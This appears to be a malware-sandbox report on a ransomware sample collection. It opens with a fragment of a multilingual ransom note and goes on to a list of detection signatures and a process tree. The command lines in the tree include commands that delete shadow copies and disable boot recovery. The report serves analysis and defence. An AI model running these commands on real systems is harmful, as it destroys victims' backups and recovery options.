0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div> <div> <h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2><h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2><h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2><h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2><h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2><h2 class='l l-no' >Filen er kryptert men kan bli gjenopprettet</h2><h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2><h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2><h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2><h2 class='l l-ms' >Fail ini dienkripsikan tetapi boleh dipulih semula.</h2><h2 class='l l-zh' >文件已被加密，但是可以解密</h2><h2 class='l l-tr' >Dosya şifrelenmiş ancak geri yüklenebilir.</h2><h2 class='l l-vi' >Tập tin bị mã hóa nhưng có thể được khôi phục</h2><h2 class='l l-hi' >फाइल एनक्रिप्टड हैं लेकिन रिस्टोर की जा सकती हैं</h2><h2 class='l l-jv' >File ini dienkripsi tetapi dapat dikembalikan</h2><h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2><h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2> <p><span id='filename'></span></p> </div> </div> <h2 class='l l-en' style='display:block'>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2><h2 class='l l-de' >Die Datei, die Sie öffnen wollten, und andere wichtige Dateien auf ihrem Computer wurden von "SAGE 2.2 Ransomware" verschlüsselt.</h2><h2 class='l l-it' >Il file che hai tentato di aprire e altri file importanti del tuo computer sono stati crittografati da "SAGE 2.2 Ransomware".</h2><h2 class='l l-fr' > Le fichier que vous essayez d’ouvrir et d’autres fichiers importants sur votre ordinateur ont été cryptés par "SAGE 2.2 Ransomware".</h2><h2 class='l l-es' >El archivo que intentó abrir y otros importantes archivos en su computadora fueron encriptados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-no' >Filen du prøvde åpne og andre viktige filer på datamaskinen din ble kryptert av "SAGE 2.2 Ransomware".</h2><h2 class='l l-pt' >O arquivo que você está tentando acessar está criptografado, outros arquivos importantes em seu computador também foram criptografados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-nl' >Het bestand dat je probeert te openen en andere belangrijke bestanden op je computer zijn beveiliged door "SAGE 2.2 Ransomware".</h2><h2 class='l l-kr' >컴퓨터에서 여는 파일 및 기타 중요한 파일은 "SAGE 2.2 Ransomware"에 의해 암호화되었습니다.</h2><h2 class='l l-ms' >Fail yang anda cuba buka dan fail penting yang lain di komputer anda telah dienkripskan oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-zh' >您试图打开的文件以及您计算机上的其它文件已经用"SAGE 2.2 Ransomware"进行了加密。</h2><h2 class='l l-tr' >Açmaya çalıştığınız dosya ve diğer önemli dosyalarınızı bilgisayarınızda "SAGE 2.2 Ransomware" tarafından şifrelenmiş.</h2><h2 class='l l-vi' >Tập tin mà bạn cố mở và những tập tin quan trọng khác trên máy tính của bạn bị mã hóa bởi "SAGE 2.2 Ransomware".</h2><h2 class='l l-hi' >वो फाइल जिसे आपने खोलने की कोशिश की और आपके कंप्यूटर पर बाकी महत्वपूर्ण फाइले हमारी ओर से इंक्रिप्टिड की गई हैं "SAGE 2.2 Ransomware"।</h2><h2 class='l l-jv' >File yang Anda coba untuk buka dan file penting lain di komputer Anda yang dienkripsi oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-fa' >فایلی که ش�
URLs
-
http://'+s.bp
-
http://'+s.bp+s.txp+tx
Signatures
- Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
- Dharma family
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Emotet family
- GandCrab payload 4 IoCs
- Gandcrab
Gandcrab is a Trojan horse that encrypts files on a computer.
- Gandcrab family
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- Gozi family
- Jigsaw Ransomware
Ransomware family first created in 2016. Named based on wallpaper set after infection in the early versions.
- Jigsaw family
- Kronos
- Kronos family
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies firewall policy service 3 TTPs 2 IoCs
- Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- Sodinokibi family
- Sodinokibi/Revil sample 1 IoCs
- Troldesh family
- Troldesh, Shade, Encoder.858
Troldesh is a ransomware spread by malspam.
- UAC bypass 3 TTPs 1 IoCs
- WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
- Warzonerat family
- Contacts a large (7834) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
- Renames multiple (10282) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (203) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (331) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (513) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (604) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Warzone RAT payload 3 IoCs
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- ASPack v2.12-2.42 3 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks BIOS information in registry 2 TTPs 5 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 14 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Drops startup file 20 IoCs
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 54 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 14 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 3 IoCs
- Drops desktop.ini file(s) 64 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Checks system information in the registry 2 TTPs 4 IoCs
System information is often read in order to detect sandboxing environments.
- Drops autorun.inf file 1 TTPs 2 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 10 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 6 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 25 IoCs
- UPX packed file 10 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 26 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Discovers systems in the same network 1 TTPs 1 IoCs
- Enumerates system info in registry 2 TTPs 7 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 3 IoCs
- Modifies Internet Explorer settings 1 TTPs 64 IoCs
- Modifies Internet Explorer start page 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 45 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 3 IoCs
- Suspicious behavior: MapViewOfSection 31 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious behavior: RenamesItself 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 4 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00367.7z"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /13⤵
- Drops startup file
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-355279a18f370b38ec5953f97100a0c3bfc21ef43d525f80def7f97b5f16b2a3.exeHEUR-Trojan-Ransom.MSIL.Crypmod.gen-355279a18f370b38ec5953f97100a0c3bfc21ef43d525f80def7f97b5f16b2a3.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-355279a18f370b38ec5953f97100a0c3bfc21ef43d525f80def7f97b5f16b2a3.exe"HEUR-Trojan-Ransom.MSIL.Crypmod.gen-355279a18f370b38ec5953f97100a0c3bfc21ef43d525f80def7f97b5f16b2a3.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12328 -s 4486⤵
- Program crash
-
-
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.MSIL.Gen.gen-e14102c23aa4db48105d3a06697517c61413409b17dcca5cd23a449b156bfa3b.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-e14102c23aa4db48105d3a06697517c61413409b17dcca5cd23a449b156bfa3b.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\istripper.exe"C:\Users\Admin\AppData\Local\Temp\istripper.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe"C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe" C:\Users\Admin\AppData\Local\Temp\istripper.exe6⤵
- Drops startup file
- Executes dropped EXE
- Drops file in Program Files directory
-
-
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.Blocker.gen-f7d0c3afdb6b73a9b8d9cde1f7476e5a8b1306dcb6f724eada83b9353f2f97fb.exeHEUR-Trojan-Ransom.Win32.Blocker.gen-f7d0c3afdb6b73a9b8d9cde1f7476e5a8b1306dcb6f724eada83b9353f2f97fb.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.Convagent.gen-d78d2ae644482d45196d92bcfc0b2d01788076010967a35c4673b836b4aca7ce.exeHEUR-Trojan-Ransom.Win32.Convagent.gen-d78d2ae644482d45196d92bcfc0b2d01788076010967a35c4673b836b4aca7ce.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.Cryptor.gen-50d0d2126c7d5723373d3b2ef3b5ad323c25e5b804f7ccf71fc832759ee6f5aa.exeHEUR-Trojan-Ransom.Win32.Cryptor.gen-50d0d2126c7d5723373d3b2ef3b5ad323c25e5b804f7ccf71fc832759ee6f5aa.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.Cryptor.gen-50d0d2126c7d5723373d3b2ef3b5ad323c25e5b804f7ccf71fc832759ee6f5aa.exe--8d8bfd295⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.Encoder.gen-d2683d68ef6b9bdff39eb7e8f4cc81a6d25cae92c7f540ad62befc0c417b6169.exeHEUR-Trojan-Ransom.Win32.Encoder.gen-d2683d68ef6b9bdff39eb7e8f4cc81a6d25cae92c7f540ad62befc0c417b6169.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\y_installer.exeC:\Users\Admin\AppData\Local\Temp\y_installer.exe --partner 351634 --distr /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y YABM=y VID=666"5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\7F4987FB1A6E43d69E3E94B29EB75926\YandexPackSetup.exe"C:\Users\Admin\AppData\Local\Temp\7F4987FB1A6E43d69E3E94B29EB75926\YandexPackSetup.exe" /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y YABM=y VID=666"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\y_installer.exeC:\Users\Admin\AppData\Local\Temp\y_installer.exe --stat dwnldr/p=351634/cnt=0/dt=11/ct=7/rt=0 --dh 2332 --st 17309962326⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-d5298e9a809749e9af0d5424f81f29d0088f3cdf169602f76f29d272f9adf798.exeHEUR-Trojan-Ransom.Win32.PolyRansom.gen-d5298e9a809749e9af0d5424f81f29d0088f3cdf169602f76f29d272f9adf798.exe4⤵
- Modifies WinLogon for persistence
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- Drops file in System32 directory
-
-
C:\Users\Admin\Desktop\00367\HEUR-Trojan-Ransom.Win32.Sodin.vho-069d993c71e2c78fd73fdef9ce4ced7fe0ce1b49f458a3ec3fae53208d382f3c.exeHEUR-Trojan-Ransom.Win32.Sodin.vho-069d993c71e2c78fd73fdef9ce4ced7fe0ce1b49f458a3ec3fae53208d382f3c.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures5⤵
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Blocker.dvjn-13fc9d7802032fbc07b700b8ea2b5ed77155aa0fd01b10ebdfb55077c3c3d660.exeTrojan-Ransom.Win32.Blocker.dvjn-13fc9d7802032fbc07b700b8ea2b5ed77155aa0fd01b10ebdfb55077c3c3d660.exe4⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svhost.exe"C:\Users\Admin\AppData\Local\Temp\svhost.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Blocker.fpnf-5ddf8b499bef537d70f04dd90287f4e0a7fd82bf7085713bc7b1ee5a7ce4ee2b.exeTrojan-Ransom.Win32.Blocker.fpnf-5ddf8b499bef537d70f04dd90287f4e0a7fd82bf7085713bc7b1ee5a7ce4ee2b.exe4⤵
- Modifies firewall policy service
- UAC bypass
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Enumerates connected drives
- System policy modification
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Blocker.kcwh-097b8e63a463b36ee4d257f90f2f966fd64f6b2113d09f4cb1c5193b88084caf.exeTrojan-Ransom.Win32.Blocker.kcwh-097b8e63a463b36ee4d257f90f2f966fd64f6b2113d09f4cb1c5193b88084caf.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 5165⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Crusis.to-4cdcebf5775260b399bf03fa7ab0312629b4475619aa6eef8ed0fb4bdcf24502.exeTrojan-Ransom.Win32.Crusis.to-4cdcebf5775260b399bf03fa7ab0312629b4475619aa6eef8ed0fb4bdcf24502.exe4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"5⤵
-
C:\Windows\system32\mode.commode con cp select=12516⤵
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"5⤵
-
C:\Windows\system32\mode.commode con cp select=12516⤵
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"5⤵
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"5⤵
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Crypren.afmk-56ec95785f91418751ad5788f9076af108ae19e03d2e0c0551ae8f8d8f5acba4.exeTrojan-Ransom.Win32.Crypren.afmk-56ec95785f91418751ad5788f9076af108ae19e03d2e0c0551ae8f8d8f5acba4.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Foreign.oajg-2c21e78c2ae52a2aedc97822579343b2f8e63455de97645d6dc52a50d3a2fe31.exeTrojan-Ransom.Win32.Foreign.oajg-2c21e78c2ae52a2aedc97822579343b2f8e63455de97645d6dc52a50d3a2fe31.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2B24\3CF.bat" "C:\Users\Admin\AppData\Roaming\AppCbase\coloStub.exe" "C:\Users\Admin\Desktop\00367\TR3349~1.EXE""5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.execmd /C ""C:\Users\Admin\AppData\Roaming\AppCbase\coloStub.exe" "C:\Users\Admin\Desktop\00367\TR3349~1.EXE""6⤵
-
C:\Users\Admin\AppData\Roaming\AppCbase\coloStub.exe"C:\Users\Admin\AppData\Roaming\AppCbase\coloStub.exe" "C:\Users\Admin\Desktop\00367\TR3349~1.EXE"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe8⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
-
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Foreign.ofyr-06e8ba8006d3fb1e8d19b1f7730ade6112e132f703547cfee6d72a4d56f79acf.exeTrojan-Ransom.Win32.Foreign.ofyr-06e8ba8006d3fb1e8d19b1f7730ade6112e132f703547cfee6d72a4d56f79acf.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Foreign.ofyr-06e8ba8006d3fb1e8d19b1f7730ade6112e132f703547cfee6d72a4d56f79acf.exeTrojan-Ransom.Win32.Foreign.ofyr-06e8ba8006d3fb1e8d19b1f7730ade6112e132f703547cfee6d72a4d56f79acf.exe5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Mozilla\MiniConvert.exeC:\Users\Admin\AppData\Local\Mozilla\MiniConvert.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Mozilla\MiniConvert.exeC:\Users\Admin\AppData\Local\Mozilla\MiniConvert.exe6⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7804 -s 7526⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 7725⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.ali-458c5a5a5201d4d1e470a0b009b1152dc48771b3ccb8b17e7b3bc6af4db13985.exeTrojan-Ransom.Win32.GandCrypt.ali-458c5a5a5201d4d1e470a0b009b1152dc48771b3ccb8b17e7b3bc6af4db13985.exe4⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 4925⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.fdc-baf095b733d2e6b4af5481d217b367403e3c6f8302eb4d51822b6fbe29144086.exeTrojan-Ransom.Win32.GandCrypt.fdc-baf095b733d2e6b4af5481d217b367403e3c6f8302eb4d51822b6fbe29144086.exe4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.fmh-eed71a70cbaf7d0e1ec48b866f7758c08d83ce2a3fdf06dc19b2a78a990900d6.exeTrojan-Ransom.Win32.GandCrypt.fmh-eed71a70cbaf7d0e1ec48b866f7758c08d83ce2a3fdf06dc19b2a78a990900d6.exe4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Checks processor information in registry
-
C:\Windows\SysWOW64\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" shadowcopy delete5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.gzu-1f6f620b2bc24b0c4fb84ca681981f85b312b0ba9d2b9964a6c5aaf2388f8590.exeTrojan-Ransom.Win32.GandCrypt.gzu-1f6f620b2bc24b0c4fb84ca681981f85b312b0ba9d2b9964a6c5aaf2388f8590.exe4⤵
- Executes dropped EXE
